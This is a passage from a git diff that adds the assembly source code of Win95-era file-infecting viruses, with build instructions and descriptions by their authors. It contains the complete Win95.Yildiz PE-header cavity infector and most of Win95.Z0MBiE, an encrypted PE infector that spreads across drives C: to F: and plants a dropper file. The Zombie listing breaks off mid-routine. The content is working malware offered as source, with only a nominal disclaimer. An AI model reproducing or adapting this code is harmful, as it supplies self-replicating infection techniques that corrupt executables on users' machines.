|
||||
|
||||
exit:
|
||||
|
||||
vEnd label byte
|
||||
ret
|
||||
VirusSize equ vEnd-vStart
|
||||
KERNEL32 equ 0bff70000h ;Win9X kernel address
|
||||
FSTGENPAGE equ 000400000h/1000h
|
||||
X equ offset id
|
||||
_VxDCALL0 dd ?
|
||||
memory dd ? ;Buffer
|
||||
|
||||
Virual_End:
|
||||
|
||||
ends
|
||||
End Start
|
1133
LegacyWindows/Win95.Sk.asm
Normal file
1133
LegacyWindows/Win95.Sk.asm
Normal file
File diff suppressed because it is too large
Load Diff
1660
LegacyWindows/Win95.Unreal.asm
Normal file
1660
LegacyWindows/Win95.Unreal.asm
Normal file
File diff suppressed because it is too large
Load Diff
336
LegacyWindows/Win95.Yildiz.asm
Normal file
336
LegacyWindows/Win95.Yildiz.asm
Normal file
@ -0,0 +1,336 @@
|
||||
; *************************************************************************
|
||||
; ******************** ********************
|
||||
; ******************** Win95.Yildiz ********************
|
||||
; ******************** by ********************
|
||||
; ******************** Black Jack ********************
|
||||
; ******************** ********************
|
||||
; *************************************************************************
|
||||
|
||||
comment ~
|
||||
|
||||
NAME: Win95.Yildiz
|
||||
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||||
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||||
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
|
||||
SIZE: 323 bytes (but of course infected files won't increase in size)
|
||||
|
||||
DESCRIPTION: When an infected file is run, the virus takes control. It then
|
||||
tries to find the kernel32 base address by a simple algorithm
|
||||
which should make it compatible with Win9X and WinME (although I
|
||||
haven't tested it with the second one). After that it gets the
|
||||
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
|
||||
VxDCall0 API is the very first exported API in Win9X; I don't
|
||||
know which API is first in WinNT, that's why unpredictable
|
||||
results may occur when the virus runs in that OS (I haven't tried
|
||||
it out, but of course the virus can't work in NT).
|
||||
Then it goes TSR (read more about this a bit later), and infects
|
||||
all PE EXE files in the current directory by overwriting the
|
||||
unused padding bytes in the PE header with the virus body.
|
||||
The memory residency consist in infecting kernel32.dll in memory.
|
||||
To do so, it creates a temporary file called "Yildiz." and writes
|
||||
the first 4KB of kernel32.dll there. Then this file is infected
|
||||
like any other PE file. And finally the content of the infected
|
||||
temp file is read back into kernel32 memory. Yep, you have read
|
||||
right, by using the int21h with VxDCall0 you can read from a file
|
||||
into read-only memory! (This trick was discovered by Murkry/IkX,
|
||||
read more about it in the comments to his Darkside virus source,
|
||||
published in Xine#3).
|
||||
As I have already said, the kernel32 is infected in memory just
|
||||
like any other file, this means the entry point is set to the
|
||||
virus, no APIs are hooked. As you should know, the entry point
|
||||
of a DLL is a init routine that is called whenever the DLL is
|
||||
loaded by a program. And since kernel32 is imported by all
|
||||
programs, this means for us that whenever a program is run (and
|
||||
kernel32 is mapped into the program's address space), our virus
|
||||
will infect all PE EXE files in the directory of the program.
|
||||
|
||||
ASSEMBLE WITH:
|
||||
tasm32 /mx /m yildiz.asm
|
||||
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
|
||||
|
||||
there's no need for PEWRSEC or a similar tool, because the
|
||||
virus code is supposed to run in read-only memory anyways.
|
||||
|
||||
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||||
Therefore, this source was only written for research and
|
||||
education. Please do not spread it. The author can't be hold
|
||||
responsible for what you decide to do with this source.
|
||||
|
||||
~
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
virus_size EQU (virus_end - virus_start)
|
||||
|
||||
Extrn MessageBoxA:Proc ; for first generation only
|
||||
Extrn ExitProcess:Proc
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd 0 ; dummy data, you know...
|
||||
|
||||
.code
|
||||
virus_start:
|
||||
pushad ; save all registers
|
||||
|
||||
xchg edi, eax ; put delta offset to EDI (EAX=start
|
||||
; offset of program by default)
|
||||
|
||||
mov eax, [esp+8*4] ; EAX=some address inside kernel32
|
||||
|
||||
sub esp, size stack_frame ; reserve room on stack
|
||||
mov esi, esp ; set ESI to our data on the stack
|
||||
|
||||
search_kernel32:
|
||||
xor ax,ax ; we assume the least significant
|
||||
; word of the kernel32 base is zero
|
||||
cmp word ptr [eax], "ZM" ; is there a MZ header ?
|
||||
JE found_kernel32 ; if yes, we found the correct
|
||||
; kernel32 base address
|
||||
dec eax ; 0BFF80000->0BFF7FFFF, and then the
|
||||
; least significant word is zeroed
|
||||
JMP search_kernel32 ; check next possible kernel32 base
|
||||
|
||||
tmp_filename db "Yildiz", 0
|
||||
filespec db "*.EXE", 0
|
||||
|
||||
|
||||
found_kernel32:
|
||||
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
|
||||
add ebx, eax ; EBX=offset of kernel32 PE header
|
||||
|
||||
mov ebx, [ebx+120] ; EBX=export table RVA
|
||||
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
|
||||
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
|
||||
add ebx, eax ; EBX=Offset VxDCall0 API
|
||||
mov [esi.VxDCall0], ebx ; save it
|
||||
lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
|
||||
; for optimisation reasons, the
|
||||
; CALL EBP instruction is just 2 bytes
|
||||
|
||||
|
||||
; ----- GO TSR --------------------------------------------------------------
|
||||
|
||||
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
|
||||
push edx ; save it on stack
|
||||
|
||||
push eax ; save kernel32 base address on stack
|
||||
|
||||
mov ah, 3Ch ; create temp file
|
||||
xor ecx, ecx ; no attributes
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; filehandle to EBX, where it belongs
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
push edx ; save it again
|
||||
|
||||
call write_file ; write start of kernel32 to temp file
|
||||
|
||||
call infect ; infect the temp file
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
|
||||
mov ah, 3Fh ; read infected kernel32 fileststart
|
||||
call read_write ; into kernel32 memory
|
||||
|
||||
mov ah, 3Eh ; close temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
pop edx ; EDX=pointer to temp filename
|
||||
mov ah, 41h ; delete temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
|
||||
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
|
||||
|
||||
mov ah, 2Fh ; get DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; save DTA address to stack
|
||||
push ebx
|
||||
|
||||
push ds ; ES=DS (standart data segment)
|
||||
pop es
|
||||
|
||||
mov ah, 1Ah ; set DTA to our data area
|
||||
lea edx, [esi.dta] ; DS:EDX=new DTA adress
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
mov ah, 4Eh ; find first file
|
||||
xor ecx, ecx ; only files with standart attributes
|
||||
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
|
||||
|
||||
findfile_loop:
|
||||
call ebp ; call our int 21h procedure
|
||||
JC all_done ; no more files found?
|
||||
|
||||
mov ax, 3D02h ; open victim file for read and write
|
||||
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; handle to EBX, where it belongs
|
||||
|
||||
call infect ; infect the file
|
||||
|
||||
mov ah, 3Eh ; close the victim file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
search_on:
|
||||
mov ah, 4Fh ; find next file
|
||||
JMP findfile_loop
|
||||
|
||||
|
||||
; ----- RESTORE HOST --------------------------------------------------------
|
||||
|
||||
all_done:
|
||||
pop edx ; restore old DTA offset in DS:EDX
|
||||
pop ds
|
||||
mov ah, 1Ah ; reset DTA to old address
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; DS=ES (standart data segment)
|
||||
pop ds
|
||||
|
||||
add esp, size stack_frame ; remove our data buffer from stack
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
db 05h ; add eax, imm32
|
||||
entry_RVA_difference dd (host-virus_start) ; difference between host and
|
||||
; virus entrypoint (EAX is virus
|
||||
; entrypoint offset by default)
|
||||
JMP eax ; jump to host entrypoint
|
||||
|
||||
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
|
||||
|
||||
exit_infect:
|
||||
pop edi ; restore EDI (delta offset)
|
||||
RET ; return to caller
|
||||
|
||||
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
|
||||
|
||||
infect:
|
||||
push edi ; save EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=read/write buffer offset
|
||||
mov ah, 3Fh ; read start of file
|
||||
call read_write
|
||||
|
||||
cmp word ptr [esi], "ZM" ; is it an exe file ?
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
mov ecx, [esi+3Ch] ; ECX=new header RVA
|
||||
cmp ecx, 3*1024 ; check if DOS stub is small enough
|
||||
; so that all the PE header is in
|
||||
; our buffer
|
||||
JA exit_infect ; if not, cancel infection
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=PE header offset in memory
|
||||
cmp word ptr [edi], "EP" ; is it an PE file ?
|
||||
; (I know that the PE marker is
|
||||
; actually a dword, but by only
|
||||
; checking one word we save a byte
|
||||
; of virus code)
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
|
||||
; first 4 KB of the file
|
||||
JB exit_infect ; if yes, the file must be already
|
||||
; infected, cancel infection
|
||||
|
||||
add ecx, 24 ; add size of FileHeader
|
||||
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
|
||||
add ecx, eax ; add it to ECX
|
||||
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
|
||||
imul eax, eax, 40 ; get size of section headers to EAX
|
||||
add ecx, eax ; add it to ECX, now it points to the
|
||||
; end of the used part of the PE
|
||||
; header, where the virus will be.
|
||||
|
||||
mov edx, ecx ; EDX=virus RVA
|
||||
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
|
||||
sub edx, ecx ; EDX=difference between old and new
|
||||
; entrypoint RVA
|
||||
|
||||
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
|
||||
; FileAlign)
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=virus offset in buffer
|
||||
|
||||
sub eax, ecx ; EAX=free room for us to use
|
||||
mov cx, virus_size ; ECX=size of virus (the most
|
||||
; significant word of ECX should be 0)
|
||||
cmp eax, ecx ; enough room for the virus ?
|
||||
JL exit_infect ; cancel infection if not
|
||||
|
||||
pop eax ; EAX=delta offset
|
||||
push eax ; save it again to stack
|
||||
xchg esi, eax ; ESI=delta offset, EAX=data buffer
|
||||
|
||||
cld ; clear direction flag
|
||||
rep movsb ; move virus body into buffer
|
||||
|
||||
xchg esi, eax ; ESI=pointer to our data on stack
|
||||
|
||||
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
|
||||
; between old and new entrypoint
|
||||
|
||||
pop edi ; restore EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=offset of read/write buffer
|
||||
|
||||
; now write modified start of file,
|
||||
; then return to caller
|
||||
|
||||
write_file:
|
||||
mov ah, 40h ; write to file
|
||||
|
||||
read_write:
|
||||
xor ecx, ecx ; ECX=0
|
||||
pushad ; save all registers
|
||||
|
||||
xor eax, eax ; EAX=4200h (set filepointer from
|
||||
mov ah, 42h ; start of the file
|
||||
cdq ; CX:DX=0 (new filepointer)
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
mov ch, 10h ; ECX=4096 (size of read/write buffer)
|
||||
|
||||
; now execute int 21h and return
|
||||
|
||||
int21h: ; protected mode int21
|
||||
push ecx ; push parameters
|
||||
push eax
|
||||
push 2A0010h ; VWIN32_Int21Dispatch function
|
||||
call ss:[esi.VxDCall0] ; call VxDCall0 API
|
||||
ret
|
||||
|
||||
virus_end:
|
||||
|
||||
; This is our data that will be stored on the stack:
|
||||
|
||||
stack_frame struc
|
||||
buffer db 4096 dup(?)
|
||||
dta db 43 dup(?)
|
||||
VxDCall0 dd ?
|
||||
stack_frame ends
|
||||
|
||||
|
||||
host:
|
||||
push 0
|
||||
push offset caption
|
||||
push offset message
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
|
||||
message db "first generation dropper", 0
|
||||
|
||||
end virus_start
|
979
LegacyWindows/Win95.Zombie.asm
Normal file
979
LegacyWindows/Win95.Zombie.asm
Normal file
@ -0,0 +1,979 @@
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Win95.Z0MBiE ³
|
||||
; ³ v1.01, by Z0MBiE ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
|
||||
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
|
||||
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
|
||||
; looks in its export table for the address of the API functions used it the
|
||||
; viral code. This virus has also the feature which consists on looking for
|
||||
; files to infect in the Windows directory as well as in other units. PE in-
|
||||
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
|
||||
; cutables and creating an entry point in it for the virus code. Last but
|
||||
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
|
||||
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
|
||||
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
|
||||
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
|
||||
; cribed there, together with the analysis of Igor Daniloff, same as the one
|
||||
; which follows, describing the behavior of Win95.ZOMBiE.
|
||||
;
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
; Win95.Zombie
|
||||
;
|
||||
; Igor Daniloff
|
||||
; DialogueScience
|
||||
;
|
||||
; Win95.Zombie is a nondestructive nonresident encrypted virus which
|
||||
; infects PortableExecutable EXE files. On starting an infected file,
|
||||
; the virus decryptor explodes the main virus body and passes control
|
||||
; to it. The main virus body determines the location of KERNEL32 Export
|
||||
; Table in memory and saves in its code the address of WIN32 KERNEL API
|
||||
; functions that are essential for infecting files.
|
||||
;
|
||||
; Then the virus determines the command line of the currently-loaded
|
||||
; infected program and loads it once again through the WinExec function.
|
||||
; The second virus copy then infects the system. The first virus copy
|
||||
; (that started a second copy the infected program), after completing
|
||||
; the WinExec procedure, returns control to the host program.
|
||||
;
|
||||
; To infect PE EXE files, the virus scans the Windows system folder and
|
||||
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
|
||||
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
|
||||
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
|
||||
; in the PE header, sets an entry point to it, and appends a copy of the
|
||||
; encrypted code at the file end which is within the limits of the region
|
||||
; of this segment section. After infecting the logical drive, the virus
|
||||
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
|
||||
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
|
||||
; Zombie.1922 virus code. The virus contains a few text strings:
|
||||
;
|
||||
; Z0MBiE 1.01 (c) 1997
|
||||
; My 2nd virii for mustdie
|
||||
; Tnx to S.S.R.
|
||||
;
|
||||
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
|
||||
; Tnx to S.S.R.
|
||||
; ShadowRAM/Virtual Process Infector
|
||||
; ShadowRAM Technology (c) 1996,97 Z0MBiE
|
||||
;
|
||||
; code................1398
|
||||
; viriisize...........4584
|
||||
; virtsize............8936
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
;
|
||||
;
|
||||
; Compiling it
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; tasm32 -ml -m5 -q -zn zombie.asm
|
||||
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
|
||||
; pewrsec zombie.exe
|
||||
;
|
||||
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
|
||||
kernel equ 0BFF70000H
|
||||
|
||||
FILE_ID equ 'Z0'
|
||||
PORT_ID equ 'Z'
|
||||
|
||||
.data
|
||||
|
||||
sux db 'mustdie'
|
||||
|
||||
.code
|
||||
start:
|
||||
call codestart
|
||||
|
||||
lea ebp, [eax - 401000H]
|
||||
lea edx, codestart[ebp]
|
||||
cryptn equ (viriisize-decrsize+3) / 4
|
||||
mov ecx, cryptn
|
||||
@@1: neg dword ptr [edx]
|
||||
xor dword ptr [edx], 12345678h
|
||||
xorword equ dword ptr $-4
|
||||
sub edx, -4
|
||||
loop @@1
|
||||
jmp codestart
|
||||
|
||||
align 4
|
||||
decrsize equ $-start
|
||||
|
||||
codestart: lea ebp, [eax - 401000H]
|
||||
sub eax, 12345678h
|
||||
subme equ dword ptr $-4
|
||||
push eax
|
||||
|
||||
call analizekernel
|
||||
|
||||
call first
|
||||
|
||||
in al, 81h
|
||||
cmp al, PORT_ID
|
||||
je exit_to_program
|
||||
|
||||
in al, 80h
|
||||
cmp al, PORT_ID
|
||||
je infect
|
||||
|
||||
mov al, PORT_ID
|
||||
out 80h, al
|
||||
|
||||
call ExecExe
|
||||
|
||||
exit_to_program: ret
|
||||
|
||||
infect: mov al, -1
|
||||
out 80h, al
|
||||
|
||||
; call _GetModuleHandleA
|
||||
; push 9
|
||||
; push eax
|
||||
; call _SetPriorityClass
|
||||
|
||||
; infect windows directory
|
||||
|
||||
lea edx, infdir[ebp]
|
||||
call getwindir
|
||||
lea edx, infdir[ebp]
|
||||
call setdir
|
||||
call infectdir
|
||||
|
||||
; recursive infect
|
||||
|
||||
lea edx, drive_c[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_d[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_e[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_f[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
mov al, PORT_ID
|
||||
out 81h, al
|
||||
|
||||
exit_to_mustdie: push -1
|
||||
call _ExitProcess
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
createsetup: lea edx, zsetup[ebp]
|
||||
call createfile
|
||||
|
||||
lea edx, z[ebp]
|
||||
mov ecx, z_size
|
||||
call writefile
|
||||
|
||||
call closefile
|
||||
|
||||
ret
|
||||
|
||||
first: pop edi
|
||||
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
|
||||
mov byte ptr start[ebp], 0b9h
|
||||
|
||||
call infectfile
|
||||
jmp exit_to_mustdie
|
||||
|
||||
ExecExe: call _GetCommandLineA
|
||||
SW_NORMAL equ 1
|
||||
push SW_NORMAL
|
||||
push eax
|
||||
call _WinExec
|
||||
ret
|
||||
|
||||
recinfect1st: call setdir
|
||||
|
||||
recinfect: call infectdir
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, dirfiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
mov edi, eax
|
||||
inc eax
|
||||
jz @@nomorefiles
|
||||
|
||||
@@processfile: lea eax, fileattr[ebp]
|
||||
mov al, [eax]
|
||||
cmp al, 10h ; directory ?
|
||||
jne @@findnext
|
||||
|
||||
lea edx, fullname[ebp]
|
||||
cmp byte ptr [edx], '.'
|
||||
je @@findnext
|
||||
call setdir
|
||||
|
||||
push edi
|
||||
lea edx, fullname[ebp]
|
||||
call recinfect
|
||||
pop edi
|
||||
|
||||
lea edx, prev_dir[ebp]
|
||||
call setdir
|
||||
|
||||
@@findnext: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push edi
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@processfile
|
||||
|
||||
@@nomorefiles: ret
|
||||
|
||||
nokerneldll:
|
||||
nofunction:
|
||||
exit: jmp $
|
||||
|
||||
analizekernel: mov esi, kernel
|
||||
@@1: ; cmp esi, kernel + 040000h
|
||||
; ja nokernelfunc
|
||||
lea edi, kernel_sign[ebp]
|
||||
mov ecx, kernel_sign_size
|
||||
rep cmpsb
|
||||
jne @@1
|
||||
|
||||
kernelfound: sub esi, kernel_sign_size
|
||||
mov kernel_call[ebp], esi
|
||||
|
||||
mov esi, kernel
|
||||
lodsw
|
||||
cmp ax, 'ZM'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 003Ch-2
|
||||
lodsd
|
||||
|
||||
lea esi, [esi + eax - 3ch - 4]
|
||||
lodsd
|
||||
cmp eax, 'EP'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 78h-4 ; esi=.edata
|
||||
|
||||
lodsd
|
||||
add eax, kernel + 10h
|
||||
xchg esi, eax
|
||||
|
||||
lodsd
|
||||
lodsd
|
||||
lodsd
|
||||
mov funcnum[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov entrypointptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov nameptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov ordinalptr[ebp], eax
|
||||
|
||||
lea edx, names[ebp]
|
||||
lea edi, fns[ebp]
|
||||
|
||||
@@1: push edi
|
||||
call findfunction
|
||||
pop edi
|
||||
|
||||
inc edi ; 68
|
||||
stosd
|
||||
add edi, 6 ; jmp kernel_call[ebp]
|
||||
|
||||
mov edx, esi
|
||||
|
||||
cmp byte ptr [esi], 0
|
||||
jne @@1
|
||||
|
||||
ret
|
||||
|
||||
findfunction: mov ecx, 12345678h
|
||||
funcnum equ dword ptr $-4
|
||||
xor ebx, ebx
|
||||
|
||||
findnextfunc: mov esi, edx
|
||||
|
||||
mov edi, [ebx + 12345678h]
|
||||
nameptr equ dword ptr $-4
|
||||
add edi, kernel
|
||||
|
||||
@@2: cmpsb
|
||||
jne @@1
|
||||
|
||||
cmp byte ptr [esi-1], 0
|
||||
jne @@2
|
||||
|
||||
; found
|
||||
|
||||
shr ebx, 1
|
||||
movzx eax, word ptr [ebx + 12345678h]
|
||||
ordinalptr equ dword ptr $-4
|
||||
shl eax, 2
|
||||
mov eax, [eax + 12345678h]
|
||||
entrypointptr equ dword ptr $-4
|
||||
add eax, kernel
|
||||
|
||||
ret
|
||||
|
||||
@@1: add ebx, 4
|
||||
loop findnextfunc
|
||||
|
||||
jmp nofunction
|
||||
|
||||
|
||||
infectdir: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, exefiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
|
||||
mov searchhandle[ebp], eax
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
@@next: call infectfile
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push 12345678h
|
||||
searchhandle equ dword ptr $-4
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@next
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; input: ECX=file attr
|
||||
; EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
openfile: push 0
|
||||
push ecx
|
||||
push 3 ; OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
; input: EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
createfile: push 0
|
||||
push ecx
|
||||
push 1 ; CREATE
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
seekfile: push 0
|
||||
push 0
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _SetFilePointer
|
||||
ret
|
||||
|
||||
closefile: push handle[ebp]
|
||||
call _CloseHandle
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
readfile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _ReadFile
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
writefile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _WriteFile
|
||||
ret
|
||||
|
||||
; input: EDX=offset directory (256 byte)
|
||||
|
||||
getdir: cld
|
||||
push edx
|
||||
push 255
|
||||
call _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; input: EDX=directory
|
||||
|
||||
setdir: push edx
|
||||
call _SetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
getwindir: cld
|
||||
push 255
|
||||
push edx
|
||||
call _GetWindowsDirectoryA
|
||||
ret
|
||||
|
||||
infectfile: in al, 82h
|
||||
cmp al, PORT_ID
|
||||
jne @@continue
|
||||
|
||||
lea eax, fullname[ebp]
|
||||
cmp dword ptr [eax], 'BM0Z'
|
||||
jne @@exit
|
||||
|
||||
@@continue: mov ecx, fileattr[ebp]
|
||||
lea edx, fullname[ebp]
|
||||
call openfile
|
||||
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
; goto the dword that stores the location of the pe header
|
||||
|
||||
mov edx, 3Ch
|
||||
call seekfile
|
||||
|
||||
; read in the location of the pe header
|
||||
|
||||
mov ecx, 4
|
||||
lea edx, peheaderoffset[ebp]
|
||||
call readfile
|
||||
|
||||
; goto the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in enuff to calculate the full size of the pe header and object table
|
||||
|
||||
mov ecx, 256
|
||||
lea edx, peheader[ebp]
|
||||
call readfile
|
||||
|
||||
; make sure it is a pe header and is not already infected
|
||||
cmp dword ptr peheader[ebp],'EP'
|
||||
jne @@close
|
||||
cmp word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
je @@close
|
||||
cmp dword ptr peheader[ebp] + 52, 00400000h
|
||||
jne @@close
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in the whole pe header and object table
|
||||
lea edx, peheader[ebp]
|
||||
mov ecx, headersize[ebp]
|
||||
cmp ecx, maxbufsize
|
||||
ja @@close
|
||||
call readfile
|
||||
|
||||
mov word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
|
||||
; locate offset of object table
|
||||
xor eax, eax
|
||||
mov ax, NtHeaderSize[ebp]
|
||||
add eax, 18h
|
||||
mov objecttableoffset[ebp],eax
|
||||
|
||||
; calculate the offset of the last (null) object in the object table
|
||||
mov esi, objecttableoffset[ebp]
|
||||
lea eax, peheader[ebp]
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
mov ax, numObj[ebp]
|
||||
mov ecx, 40
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
add esi, eax
|
||||
|
||||
inc numObj[ebp] ; inc the number of objects
|
||||
|
||||
lea edi, newobject[ebp]
|
||||
xchg edi,esi
|
||||
|
||||
; calculate the Relative Virtual Address (RVA) of the new object
|
||||
|
||||
mov eax, [edi-5*8+8]
|
||||
add eax, [edi-5*8+12]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov RVA[ebp], eax
|
||||
|
||||
; calculate the physical size of the new object
|
||||
mov ecx, filealign[ebp]
|
||||
mov eax, viriisize
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicalsize[ebp],eax
|
||||
|
||||
; calculate the virtual size of the new object
|
||||
mov ecx, objalign[ebp]
|
||||
mov eax, virtsize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov virtualsize[ebp],eax
|
||||
|
||||
; calculate the physical offset of the new object
|
||||
mov eax,[edi-5*8+20]
|
||||
add eax,[edi-5*8+16]
|
||||
mov ecx, filealign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicaloffset[ebp],eax
|
||||
|
||||
; update the image size (the size in memory) of the file
|
||||
mov eax, virtsize
|
||||
add eax, imagesize[ebp]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov imagesize[ebp],eax
|
||||
|
||||
; copy the new object into the object table
|
||||
mov ecx, 40/4
|
||||
rep movsd
|
||||
|
||||
; calculate the entrypoint RVA
|
||||
mov eax, RVA[ebp]
|
||||
|
||||
mov ebx, entrypointRVA[ebp]
|
||||
mov entrypointRVA[ebp], eax
|
||||
|
||||
sub eax, ebx
|
||||
|
||||
; Set the value needed to return to the host
|
||||
